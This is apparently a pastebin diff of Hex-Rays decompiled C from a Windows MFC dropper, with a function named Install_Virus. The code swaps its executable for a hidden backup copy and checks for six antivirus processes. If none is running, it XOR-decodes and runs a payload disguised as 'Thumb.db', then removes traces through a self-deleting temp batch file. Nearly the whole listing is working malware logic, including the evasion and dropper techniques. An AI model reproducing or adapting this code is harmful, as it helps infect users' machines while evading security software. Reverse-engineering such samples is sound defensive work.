View difference between Paste ID: kEC6jNFR and uFi1WbJt

 /* This file has been generated by the Hex-Rays decompiler.
    Copyright (c) 2009 Hex-Rays <[email protected]>
 
    Detected compiler: Visual C++
 */
 
 #include <windows.h>
 #include <defs.h>
 
 
 //-------------------------------------------------------------------------
 // Data declarations
 
 // extern void *CDialog__messageMap; weak
 // extern void *CWinApp__messageMap; weak
 extern int (*off_402220)(); // weak
 extern int (*off_402300)(); // weak
 extern int (*off_402350)(); // weak
 extern char Operation[]; // idb
 extern char aDelFQ0[]; // idb
 extern char aIfExistSGotoSt[]; // idb
 extern char aDelFQS[]; // idb
 extern char aStart[]; // idb
 extern char Mode[]; // idb
 extern char Format[]; // idb
 extern char aWb[]; // idb
 extern char aRb[]; // idb
 extern char FileName[]; // idb
 extern char ApplicationName[]; // idb
 extern char aFshoster32_exe[]; // idb
 extern char aFprottray_exe[]; // idb
 extern char aBdagent_exe[]; // idb
 extern char aAvp_exe[]; // idb
 extern char aMsmpeng_exe[]; // idb
 extern char String1[]; // idb
 extern char aBak[]; // idb
 extern char String2[]; // idb
 
 //-------------------------------------------------------------------------
 // Function declarations
 
 #define __thiscall __cdecl // Test compile in C mode
 
 void *__cdecl sub_401000();
 int (**__cdecl sub_401010())();
 void *__thiscall sub_401040(void *this, char a2);
 int CWinApp___CWinApp(void); // weak
 int __thiscall sub_4010B0(void *this);
 int __thiscall CDialog___CDialog(_DWORD); // weak
 void *__thiscall sub_401150(void *this, int a2);
 void *__thiscall sub_4011C0(void *this, char a2);
 void *__cdecl sub_4011F0();
 int (**__cdecl sub_401200())();
 signed int __thiscall sub_401210(void *this);
 BOOL __thiscall sub_401330(int this);
 BOOL __thiscall sub_401340(int this);
 int __cdecl sub_401350(LPCSTR lpFileName); // idb
 void *__cdecl sub_401390(int a1);
 signed int __cdecl sub_4014B0(const char *Filename, const char *a2, char a3);
 int __cdecl ProcessExists(LPCSTR lpString1); // idb
 void *__cdecl Install_Virus();
 // void __cdecl operator delete(void *); idb
 // int __thiscall CDialog___CDialog(_DWORD); weak
 // int __thiscall CDialog__DoModal(_DWORD); weak
 // int __thiscall CDialog__OnOK(_DWORD); weak
 // struct HINSTANCE__ *__stdcall AfxFindResourceHandle(const char *, const char *); idb
 // int AfxGetModuleState(void); weak
 // int __stdcall CDialog__CDialog(_DWORD, _DWORD); weak
 // int CDialog__OnInitDialog(void); weak
 // int _CxxFrameHandler(void); weak
 int __cdecl sub_401C22();
 // BOOL __stdcall Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
 // BOOL __stdcall Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
 // HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
 // int __stdcall AfxWinMain(struct HINSTANCE__ *, struct HINSTANCE__ *, char *, int); idb
 // int __usercall sub_401CB0<eax>(int a1<ebp>);
 int __cdecl SEH_4010B0();
 // int __usercall sub_401CD0<eax>(int a1<ebp>);
 int __cdecl SEH_401150();
 // BOOL __stdcall CloseHandle(HANDLE hObject);
 // HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
 // LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
 // UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize);
 // UINT __stdcall SetErrorMode(UINT uMode);
 // int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2);
 // BOOL __stdcall DeleteFileA(LPCSTR lpFileName);
 // BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
 // LPSTR __stdcall GetCommandLineA();
 // void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo);
 // BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
 // LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2);
 // int __stdcall lstrlenA(LPCSTR lpString);
 // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize);
 // DWORD __stdcall GetLastError();
 // _DWORD __stdcall AfxWinMain(struct HINSTANCE__ *, struct HINSTANCE__ *, char *, int); weak
 // size_t __cdecl fread(void *DstBuf, size_t ElementSize, size_t Count, FILE *File);
 // size_t __cdecl fwrite(const void *Str, size_t Size, size_t Count, FILE *File);
 // int sprintf(char *Dest, const char *Format, ...);
 // FILE *__cdecl fopen(const char *Filename, const char *Mode);
 // int fprintf(FILE *File, const char *Format, ...);
 // int __cdecl fclose(FILE *File);
 // HINSTANCE __stdcall ShellExecuteA(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
 // BOOL __stdcall EnableWindow(HWND hWnd, BOOL bEnable);
 // HICON __stdcall LoadIconA(HINSTANCE hInstance, LPCSTR lpIconName);
 // LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
 
 
 //----- (00401000) --------------------------------------------------------
 void *__cdecl sub_401000()
 {
   return CWinApp__messageMap;
 }
 // 402184: using guessed type void *CWinApp__messageMap;
 
 //----- (00401010) --------------------------------------------------------
 int (**__cdecl sub_401010())()
 {
   return &off_402220;
 }
 // 402220: using guessed type int (*off_402220)();
 
 //----- (00401040) --------------------------------------------------------
 void *__thiscall sub_401040(void *this, char a2)
 {
   void *v2; // esi@1
 
   v2 = this;
   CWinApp___CWinApp();
   if ( a2 & 1 )
     operator delete(v2);
   return v2;
 }
 // 401060: using guessed type int CWinApp___CWinApp(void);
 
 //----- (004010B0) --------------------------------------------------------
 int __thiscall sub_4010B0(void *this)
 {
   void *v2; // esi@1
   char v3; // [sp+4h] [bp-70h]@1
   int v4; // [sp+70h] [bp-4h]@1
 
   v2 = this;
   sub_401150(&v3, 0);
   v4 = 0;
   *((_DWORD *)v2 + 8) = &v3;
   CDialog__DoModal(&v3);
   v4 = -1;
   CDialog___CDialog(&v3);
   return 0;
 }
 // 40196A: using guessed type int __thiscall CDialog___CDialog(_DWORD);
 // 401970: using guessed type int __thiscall CDialog__DoModal(_DWORD);
 
 //----- (00401150) --------------------------------------------------------
 void *__thiscall sub_401150(void *this, int a2)
 {
   void *v3; // esi@1
   HINSTANCE v4; // eax@1
 
   v3 = this;
   CDialog__CDialog(102, a2);
   *(_DWORD *)v3 = &off_402350;
   AfxGetModuleState();
   v4 = AfxFindResourceHandle((const char *)0x80, (const char *)0xE);
   *((_DWORD *)v3 + 24) = LoadIconA(v4, (LPCSTR)0x80);
   return v3;
 }
 // 401A30: using guessed type int AfxGetModuleState(void);
 // 401A36: using guessed type int __stdcall CDialog__CDialog(_DWORD, _DWORD);
 // 402350: using guessed type int (*off_402350)();
 
 //----- (004011C0) --------------------------------------------------------
 void *__thiscall sub_4011C0(void *this, char a2)
 {
   void *v2; // esi@1
 
   v2 = this;
   CDialog___CDialog(this);
   if ( a2 & 1 )
     operator delete(v2);
   return v2;
 }
 // 401120: using guessed type int __thiscall CDialog___CDialog(_DWORD);
 
 //----- (004011F0) --------------------------------------------------------
 void *__cdecl sub_4011F0()
 {
   return CDialog__messageMap;
 }
 // 40212C: using guessed type void *CDialog__messageMap;
 
 //----- (00401200) --------------------------------------------------------
 int (**__cdecl sub_401200())()
 {
   return &off_402300;
 }
 // 402300: using guessed type int (*off_402300)();
 
 //----- (00401210) --------------------------------------------------------
 signed int __thiscall sub_401210(void *this)
 {
   void *v2; // esi@1
 
   v2 = this;
   CDialog__OnInitDialog();
   SendMessageA(*((HWND *)v2 + 8), 128u, 1u, *((_DWORD *)v2 + 24));
   SendMessageA(*((HWND *)v2 + 8), 0x80u, 0, *((_DWORD *)v2 + 24));
   Install_Virus();
   CDialog__OnOK(v2);
   return 1;
 }
 // 401982: using guessed type int __thiscall CDialog__OnOK(_DWORD);
 // 401A3C: using guessed type int CDialog__OnInitDialog(void);
 
 //----- (00401330) --------------------------------------------------------
 BOOL __thiscall sub_401330(int this)
 {
   return EnableWindow(*(HWND *)(this + 32), 0);
 }
 
 //----- (00401340) --------------------------------------------------------
 BOOL __thiscall sub_401340(int this)
 {
   return EnableWindow(*(HWND *)(this + 32), 1);
 }
 
 //----- (00401350) --------------------------------------------------------
 signed int __cdecl sub_401350(LPCSTR lpFileName)
 {
   HANDLE v1; // esi@1
   signed int result; // eax@3
 
   v1 = CreateFileA(lpFileName, 0x80000000u, 1u, 0, 3u, 0, 0);
   if ( v1 != (HANDLE)-1 || GetLastError() != 2 )
   {
     CloseHandle(v1);
     result = 1;
   }
   else
   {
     result = 0;
   }
   return result;
 }
 
 //----- (00401390) --------------------------------------------------------
 void *__cdecl sub_401390(int a1)
 {
   int v1; // esi@1
   int v2; // ST18_4@2
   void *result; // eax@3
   FILE *v4; // esi@3
   CHAR File; // [sp+8h] [bp-208h]@1
   char v6; // [sp+9h] [bp-207h]@1
   __int16 v7; // [sp+109h] [bp-107h]@1
   char v8; // [sp+10Bh] [bp-105h]@1
   CHAR String2; // [sp+10Ch] [bp-104h]@1
   char v10; // [sp+10Dh] [bp-103h]@1
   __int16 v11; // [sp+20Dh] [bp-3h]@1
   char v12; // [sp+20Fh] [bp-1h]@1
 
   String2 = 0;
   memset(&v10, 0, 0x100u);
   v11 = 0;
   v12 = 0;
   File = 0;
   memset(&v6, 0, 0x100u);
   v7 = 0;
   v1 = 0;
   v8 = 0;
   SetErrorMode(1u);
   GetWindowsDirectoryA(&String2, 0x104u);
   lstrcpyA(&File, &String2);
   do
   {
     v2 = v1++;
     sprintf(&File, "%s\\temp\\temp%d.bat", &String2, v2);
   }
   while ( sub_401350(&File) );
   result = fopen(&File, L"w");
   v4 = (FILE *)result;
   if ( result )
   {
     ((void (__cdecl *)(void *, _DWORD))fprintf)(result, ":start\r\n");
     fprintf(v4, "del /f /q \"%s\"\r\n", a1);
     fprintf(v4, "if exist \"%s\" goto start\r\n", a1);
     fprintf(v4, "del /f /q %%0\r\n");
     fclose(v4);
     result = ShellExecuteA(0, "open", &File, 0, 0, 0);
   }
   return result;
 }
 
 //----- (004014B0) --------------------------------------------------------
 signed int __cdecl sub_4014B0(const char *Filename, const char *a2, char a3)
 {
   FILE *v3; // esi@1
   FILE *v4; // ebx@2
   size_t i; // eax@3
   signed int j; // ecx@4
   char DstBuf[1024]; // [sp+Ch] [bp-400h]@3
 
   v3 = fopen(Filename, "rb");
   if ( !v3 )
     return 0;
   v4 = fopen(a2, "wb");
   if ( !v4 )
   {
     fclose(v3);
     return 0;
   }
   memset(DstBuf, 0, sizeof(DstBuf));
   for ( i = fread(DstBuf, 1u, 0x400u, v3); i; i = fread(DstBuf, 1u, 0x400u, v3) )
   {
     for ( j = 0; j < (signed int)i; ++j )
       DstBuf[j] ^= a3;
     fwrite(DstBuf, i, 1u, v4);
     memset(DstBuf, 0, sizeof(DstBuf));
   }
   fclose(v3);
   fclose(v4);
   return 1;
 }
 // 4014B0: using guessed type char DstBuf[1024];
 
 //----- (004015A0) --------------------------------------------------------
 signed int __cdecl ProcessExists(LPCSTR lpString1)
 {
   DWORD v1; // ebp@1
   HANDLE v2; // esi@1
   signed int result; // eax@7
   PROCESSENTRY32 pe; // [sp+8h] [bp-128h]@1
 
   v1 = -1;
   pe.dwSize = 296;
   v2 = CreateToolhelp32Snapshot(2u, 0);
   if ( v2 )
   {
     if ( Process32First(v2, &pe) )
     {
       if ( lstrcmpiA(lpString1, pe.szExeFile) )
       {
         while ( Process32Next(v2, &pe) )
         {
           if ( !lstrcmpiA(lpString1, pe.szExeFile) )
             goto LABEL_6;
         }
       }
       else
       {
 LABEL_6:
         v1 = pe.th32ProcessID;
       }
     }
     CloseHandle(v2);
     result = v1;
   }
   else
   {
     result = -1;
   }
   return result;
 }
 
 //----- (00401630) --------------------------------------------------------
 void *__cdecl Install_Virus()
 {
   int v0; // eax@1
   int v1; // eax@6
   CHAR *v2; // eax@11
   struct _PROCESS_INFORMATION ProcessInformation; // [sp+10h] [bp-360h]@11
   struct _STARTUPINFOA StartupInfo; // [sp+20h] [bp-350h]@11
   CHAR String; // [sp+64h] [bp-30Ch]@1
   char v7[259]; // [sp+65h] [bp-30Bh]@1
   CHAR ExistingFileName; // [sp+168h] [bp-208h]@1
   char v9[259]; // [sp+169h] [bp-207h]@1
   CHAR String2; // [sp+26Ch] [bp-104h]@1
   char v11; // [sp+26Dh] [bp-103h]@1
   __int16 v12; // [sp+36Dh] [bp-3h]@1
   char v13; // [sp+36Fh] [bp-1h]@1
 
   String2 = 0;
   String = 0;
   memset(&v11, 0, 0x100u);
   v12 = 0;
   v13 = 0;
   ExistingFileName = 0;
   memset(v7, 0, 0x100u);
   *(_WORD *)&v7[256] = 0;
   v7[258] = 0;
   memset(v9, 0, 0x100u);
   *(_WORD *)&v9[256] = 0;
   v9[258] = 0;
   GetModuleFileNameA(0, &String2, 0x104u);
   lstrcpyA(&String, &String2);
   lstrcpyA(&ExistingFileName, &String2);
   v0 = lstrlenA(&String) - 1;
   if ( v0 >= 0 )
   {
     while ( *(&String + v0) != 92 )
     {
       --v0;
       if ( v0 < 0 )
         goto LABEL_6;
     }
     v7[v0] = 0;
   }
 LABEL_6:
   lstrcatA(&String, "tmp.tmp");
   MoveFileA(&String2, &String);
   v1 = lstrlenA(&ExistingFileName) - 1;
   if ( v1 >= 0 )
   {
     while ( *(&ExistingFileName + v1) != 46 )
     {
       --v1;
       if ( v1 < 0 )
         goto LABEL_11;
     }
     v9[v1] = 0;
   }
 LABEL_11:
   lstrcatA(&ExistingFileName, "bak");
   MoveFileA(&ExistingFileName, &String2);
   StartupInfo.cb = 0;
   memset(&StartupInfo.lpReserved, 0, 0x40u);
   ProcessInformation.hThread = 0;
   ProcessInformation.hProcess = 0;
   ProcessInformation.dwProcessId = 0;
   ProcessInformation.dwThreadId = 0;
   GetStartupInfoA(&StartupInfo);
   v2 = GetCommandLineA();
   CreateProcessA(&String2, v2, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
   if ( ProcessExists("ccsvchst.exe") == -1 )
   {
     if ( ProcessExists("MsMpEng.exe") == -1 )
     {
       if ( ProcessExists("avp.exe") == -1 )
       {
         if ( ProcessExists("bdagent.exe") == -1 )
         {
           if ( ProcessExists("FProtTray.exe") == -1 )
           {
             if ( ProcessExists("fshoster32.exe") == -1 )
             {
               GetStartupInfoA(&StartupInfo);
               if ( sub_4014B0("Thumb.db", "Thumb.db.tmp", -86) )
                 CreateProcessA("Thumb.db.tmp", 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
             }
           }
         }
       }
     }
   }
   DeleteFileA("Thumb.db");
   return sub_401390((int)&String);
 }
 // 401630: using guessed type char var_30B[259];
 // 401630: using guessed type char var_207[259];
 
 //----- (00401C22) --------------------------------------------------------
 int __cdecl sub_401C22()
 {
   return 0;
 }
 
 //----- (00401CB0) --------------------------------------------------------
 int __usercall sub_401CB0<eax>(int a1<ebp>)
 {
   return CDialog___CDialog(a1 - 112);
 }
 // 401120: using guessed type int __thiscall CDialog___CDialog(_DWORD);
 
 //----- (00401CB8) --------------------------------------------------------
 int __cdecl SEH_4010B0()
 {
   return _CxxFrameHandler();
 }
 // 401A92: using guessed type int _CxxFrameHandler(void);
 
 //----- (00401CD0) --------------------------------------------------------
 int __usercall sub_401CD0<eax>(int a1<ebp>)
 {
   return CDialog___CDialog(*(_DWORD *)(a1 - 16));
 }
 // 40196A: using guessed type int __thiscall CDialog___CDialog(_DWORD);
 
 //----- (00401CD8) --------------------------------------------------------
 int __cdecl SEH_401150()
 {
   return _CxxFrameHandler();
 }
 // 401A92: using guessed type int _CxxFrameHandler(void);
 
 // ALL OK, 21 function(s) have been successfully decompiled